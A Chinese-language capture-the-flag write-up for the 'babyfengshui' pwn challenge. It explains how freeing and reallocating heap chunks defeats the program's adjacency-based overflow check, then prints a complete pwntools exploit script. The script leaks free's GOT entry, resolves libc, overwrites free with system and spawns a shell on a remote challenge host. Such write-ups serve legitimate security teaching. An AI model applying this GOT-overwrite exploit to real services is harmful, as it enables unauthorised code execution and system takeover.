攻防世界PWN之Babyfengshui题解
本题,首先,为了方便调试,我们需要解决alarm clock问题
程序运行几十秒后就会自动退出,所以,为了方便调试,我们需要先修改一下这个二进制
我们用十六进制编辑器把这几个指令nop(0x90)掉即可
然后,我们就开始做题了
查看创建功能的函数
这里创建了两个堆,第一个堆用来存储description,第二个堆用来存储第一个堆的指针以及name字符串
其数据结构大概是这样的
Node |
char * description; |
char buf[0x80-sizeof(char *)]; |
创建的时候,大概是这样的
- char * description = (char *)malloc(n);
- memset(description,0,n);
- Node * node = (Node *)malloc(0x80);
- memset(node,0,0x80);
- node->description = description;
即我们每次创建时,都会malloc两个堆,按照常规思想的情况,我们会以为它们在物理位置上相邻。但是会有例外情况发生。
让我们看看,这个程序是如何检测堆是否会溢出的
翻译过来,是这样的
- if (node->description + n >= node-4) {
- //溢出
- }
为什么这样判断?
这种判断只试用于description和node两个堆相邻的情况,如果description和和node两个堆不相邻,并且description在node的前面某地址处,那么就可以绕过这个检查,我们就能溢出堆了。
假如我们先create三次,并且我们设置的大小为0x80,此时,堆的布局如下
堆description0 0x80 bytes |
堆 node0 0x80 bytes |
堆description1 0x80 bytes |
堆 node1 0x80 bytes |
堆description1 0x80 bytes |
堆 node1 0x80 bytes |
TOP块 |
现在我们删除节点0,堆的布局如下
空闲堆 0x100 bytes |
堆description1 0x80 bytes |
堆 node1 0x80 bytes |
堆description1 0x80 bytes |
堆 node1 0x80 bytes |
TOP块 |
现在我们再create一个0x100节点后,堆的布局如下
堆description2 0x100 bytes |
堆description1 0x80 bytes |
堆 node1 0x80 bytes |
堆description1 0x80 bytes |
堆 node1 0x80 bytes |
堆 node2 0x80 bytes |
TOP块 |
这样,堆溢出的那个if不再有效,我们可以在description2输入数据,直到溢出到堆node2的地方。那么,我们就可以修改中间的这些堆的信息。
原理是什么?请看glibc内存管理机制
释放的内存块存储在bins里面,当申请时,会先从bins里找空闲的空间,如果找不到,再从TOP块切割一块给用户。并且,释放时,如果两块区域物理相邻,会发生合并,因此两块0x80的空间合并成了0x100的空间,当我们申请0x100空间的堆时,正好就分配到这个地方。
现在,我们的目的是修改堆node1里的description指针,我们改成free的got表地址,那么当我们输出description的内容时,就会输出free的地址,因为我们让它指向的是free的got表地址。这样我们就能泄露free的加载地址。
然后获得libc加载地址,获得system的地址。
然后我们编辑node1的description内容,相当于编辑free的got表内容,我们把它改成system的地址。这样,当我们调用free的时候,就是调用system。我们事先把/bin/sh输入到堆2中。那么我们delete(2)的时候,就getshell了。
我们的exp脚本
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
- #sh = process('./babyfengshui1')
- sh = remote('111.198.29.45',50469)
- elf = ELF('./babyfengshui1')
- #libc = elf.libc
- def create(size,name,textLen,content):
- sh.sendlineafter('Action:','0')
- sh.sendlineafter('size of description:',str(size))
- sh.sendlineafter('name:',name)
- sh.sendlineafter('text length:',str(textLen))
- sh.sendafter('text:',content)
- def delete(index):
- sh.sendlineafter('Action:','1')
- sh.sendlineafter('index:',str(index))
- def show(index):
- sh.sendlineafter('Action:','2')
- sh.sendlineafter('index:',str(index))
- def edit(index,textLen,content):
- sh.sendlineafter('Action:','3')
- sh.sendlineafter('index:',str(index))
- sh.sendlineafter('text length:',str(textLen))
- sh.sendafter('text:',content)
- #经过分析,程序有这样一个结构
- '''''结构体
- typedef struct Node {
- void *description;
- char name[0x80-4];
- } Node;
- 当我们create(n)时
- 先是
- char *description = (char *)malloc(n);
- memset(description,0,n);
- Node * node = (Node *)malloc(sizeof(Node));
- memset(node,0,0x80);
- node->description = description;
- 当我们删除时
- 先free Node里面的,再free Node
- free(node->description);
- free(node);
- 程序是这样检测堆是否溢出的,假如我们输入n
- if (node->description + n >= node-4) {
- //堆溢出
- }
- 为什么这么判断?这是因为按照正常情况,这两个堆先后分配,如果之前没有free过其他堆,这两个堆会相邻
- 并且description堆先分配,在前面
- 而node堆后分配,在description后面
- 32位程序堆的结构如下
- prev_size:4 bytes size:4 bytes
- data:xxxxxxxxxxxxxxx
- 考虑到空间公用的情况(当申请空间的大小为4的奇数倍时,会将下一个堆的prev_size当成本堆的data区使用),prev_size会被前一个堆共用
- 我们malloc返回的指针是指向data区的data - 4 就是前一个堆的结尾
- 因此,看似这个检查很完美
- 然后,考虑到内存分配机制,如果我们之前free掉两个的堆,然后申请大于其中一个堆大小的空间,那么首先
- char *description = (char *)malloc(n);会返回第一个free掉的堆的地址
- 然后,由于n大于大于第一个堆的空间,这样,在分配0x80大小的结构体堆时,相邻空间不够,即内存管理程序在对应的bin找不到合适的块
- 于是,从top块分出一块区域给它
- '''
- create(0x80,'chunk0',0x80,'a'*0x80)
- create(0x80,'chunk1',0x80,'b'*0x80)
- #存放/bin/sh字符串
- create(0x10,'chunk2',0x8,'/bin/sh\x00')
- '''''现在的堆是这样分布的
- description0 chunk size:0x80
- node0 chunk size:0x80
- description1 chunk size:0x80
- node1 chunk size:0x80
- description2 chunk size:0x8
- node2 chunk size:0x80
- '''
- delete(0)
- '''''现在的堆是这样分布的
- 0x80*2大小的空闲块
- description1 chunk size:0x80
- node1 chunk size:0x80
- description2 chunk size:0x8
- node2 chunk size:0x80
- '''
- create(0x100,'chunk3',0x19C,'c'*0x198 + p32(elf.got['free']))
- '''''现在的堆是这样分布的
- description2 chunk size:0x100
- 0x80*2 - 0x100 大小的空闲块
- description1 chunk size:0x80
- node1 chunk size:0x80
- description2 chunk size:0x8
- node2 chunk size:0x80
- node3 chunk size:0x80
- node3-4是node2的尾部,那么,我们绕过了溢出检测,即我们可以在description2 chunk里输入数据,一直可以到node2结尾
- 那么,我们就把node1的description指针值覆盖为free的got表地址,那么当我们printf description的内容时,输出的就是
- free的加载地址
- '''
- show(1)
- sh.recvuntil('description: ')
- free_addr = u32(sh.recv(4))
- libc = LibcSearcher('free',free_addr)
- #获取libc加载地址
- #libc_base = free_addr - libc.sym['free']
- #system_addr = libc_base + libc.sym['system']
- libc_base = free_addr - libc.dump('free')
- system_addr = libc_base + libc.dump('system')
- #修改free的got表地址为system的地址
- edit(1,4,p32(system_addr))
- #getshell,相当于system(heap[2])
- delete(2)
- sh.interactive()
然而,在libc2.26及以上,不能用,因为tcache机制,使用单项链表维护,并且遵循后进先出规则,并且块不会合并。因此本人还未找到libc2.26及以上的方案,如果大佬有解决方案,欢迎联系我。